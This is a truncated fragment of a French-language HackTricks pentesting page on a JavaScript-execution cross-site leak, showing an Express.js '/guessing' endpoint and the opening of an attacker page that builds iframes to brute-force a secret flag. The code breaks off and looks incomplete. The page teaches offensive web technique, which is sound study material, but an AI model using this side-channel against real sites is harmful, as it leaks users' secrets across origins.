hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md
2023-06-03 13:10:46 +00:00

5.4 KiB

Exécution de JavaScript XS Leak

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
```javascript // Code that will try ${guess} as flag (need rest of the server code app.get('/guessing', function(req, res) { let guess = req.query.guess let page = `<html> <head> </head>

hello2

</html>` res.send(page) }); ``` # Page principale qui génère des iframes vers la page `/guessing` précédente pour tester chaque possibilité ```html <html> <head>